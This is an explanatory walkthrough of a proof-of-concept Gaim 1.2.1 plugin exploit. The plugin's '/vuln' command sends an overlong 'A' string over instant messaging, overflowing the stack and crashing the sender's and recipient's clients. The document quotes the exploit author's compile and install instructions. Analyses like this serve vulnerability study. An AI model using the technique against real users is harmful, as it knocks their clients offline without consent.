Gaim 1.2.1 URL Handling Remote Stack Overflow Explained

What this paper is

This paper describes a vulnerability in Gaim version 1.2.1 that allows for a stack overflow when handling email addresses. The exploit, written by Ron, demonstrates how to trigger this vulnerability by sending a specially crafted message. This can lead to a denial-of-service (DoS) condition, causing Gaim to crash (segfault). If the messaging protocol supports long messages, the recipient's Gaim client can also be crashed.

Simple technical breakdown

The core of the vulnerability lies in how Gaim 1.2.1 processes email addresses, specifically when they are presented in a format that triggers a buffer overflow. The provided exploit code crafts a very long string, primarily composed of the character 'A'. When Gaim attempts to process this string, it writes more data than the allocated buffer on the stack can hold. This overwrites adjacent memory on the stack, including the return address of the function that handled the input. The exploit sets this return address to 0x41414141, which is the ASCII representation of 'AAAA'. Since this is not a valid memory address, the program crashes when it tries to return from the function.

Complete code and payload walkthrough

The provided C code is a Gaim plugin designed to demonstrate and trigger this vulnerability.

Key Components:

• Includes: Standard C libraries (unistd.h, ctype.h, string.h, locale.h, stdio.h, stdlib.h) and Gaim-specific headers (internal.h, gtkgaim.h, debug.h, signals.h, util.h, version.h, cmds.h, conversation.h, gtkplugin.h, gtkutils.h). These provide necessary functions for system operations, string manipulation, and Gaim's plugin API.
• ME and MAXLENGTH defines:
  • #define ME "1.2.1 Vuln Check": A simple string identifying the plugin.
  • #define MAXLENGTH 1024: Defines a maximum length, likely related to buffer sizes, though the exploit exceeds this.
• XMMS_PLUGIN_VERSION: A descriptive string for the plugin.
• code variable:

This string is extremely long and appears to be a sequence of 'A' characters with a single '@' at the beginning. The purpose of this string is to trigger the stack overflow. The 'A's fill the buffer and then overflow onto the stack, overwriting the return address with 0x41414141 (the ASCII for 'AAAA'). The '@' might be a placeholder or an attempt to influence the exact overflow point, but the primary mechanism is the sheer length of 'A's.

• go function:

  • gboolean go(GaimConversation *conv, const gchar *cmd, gchar **args, gchar **error, void *data): This is the function that gets executed when the registered command is invoked.
  • gaim_conv_im_send(GAIM_CONV_IM(conv), code);: This is the core action. It takes the conv (conversation object) and sends the code string as an instant message. This is how the exploit payload is delivered.
  • return GAIM_CMD_STATUS_OK;: Indicates that the command executed successfully from the plugin's perspective.

• plugin_load function:

  • static gboolean plugin_load(GaimPlugin *plugin): This function is called when the Gaim plugin is loaded.
  • cmd = gaim_cmd_register("vuln", "", GAIM_CMD_P_DEFAULT, GAIM_CMD_FLAG_IM, NULL, (GaimCmdFunc)go, "/vuln", NULL);: This registers a new command within Gaim.
    • "vuln": The name of the command.
    • "": No aliases.
    • GAIM_CMD_P_DEFAULT: Default priority.
    • GAIM_CMD_FLAG_IM: This command is intended for Instant Message conversations.
    • NULL: No specific context.
    • (GaimCmdFunc)go: The function to call when the command is executed.
    • "/vuln": The command string that users will type in the chat window.
    • NULL: No help string.
  • return TRUE;: Indicates successful plugin loading.

• plugin_unload function:

  • static gboolean plugin_unload(GaimPlugin *plugin): Called when the plugin is unloaded.
  • gaim_cmd_unregister (cmd);: Unregisters the command previously registered by plugin_load.
  • return TRUE;: Indicates successful plugin unloading.

• info struct:

  • static GaimPluginInfo info = { ... };: This structure contains metadata about the Gaim plugin, such as its name, version, author, and the plugin_load and plugin_unload functions.

• init_plugin function:

  • static void init_plugin(GaimPlugin *plugin): A placeholder function for plugin initialization.

• GAIM_INIT_PLUGIN macro:

  • GAIM_INIT_PLUGIN(XMMSPlugin, init_plugin, info);: This macro initializes the plugin, making it discoverable and loadable by Gaim.

Payload Execution Flow:

1. The Gaim client loads the vuln-plugin.so.
2. The plugin_load function is called, registering the /vuln command.
3. A user types /vuln in an instant message conversation window.
4. Gaim invokes the go function associated with the /vuln command.
5. The go function calls gaim_conv_im_send to send the code string to the other participant in the conversation.
6. The recipient's Gaim client receives the long string.
7. Gaim's internal handling of this string (likely related to URL parsing or display) attempts to process it.
8. Due to a buffer overflow vulnerability, the stack is corrupted, specifically the return address.
9. When the vulnerable function attempts to return, it jumps to 0x41414141, causing a segmentation fault and crashing Gaim.

//
// This is a very weak demonstration of Gaim 1.2.1's stack overflow vulnerability
// when processing email addresses.  What this basically does is segfault you when you
// do a /vuln command in a conversation, and, if you're using a protocol that allows
// a 10002-character message to go through, also segfaults the person you sent it to.
// The reason is that gaim's stack is overwritten with a whole bunch of 'A's, and
// the return address of the function ends up at 0x41414141.  That's no good for
// anybody.
//
// This code should be considered public domain, and is freely modifiable/distributable
// by any and everyone.
//
// Note:
// To compile, place this in the "plugins" directory of Gaim's source
// (gaim-1.2.1/plugins) and type "make vuln-plugin.so".  This will compile vuln-plugin.so.
// Then put it in ~/.gaim/plugins, restart gaim, and load it as a plugin.
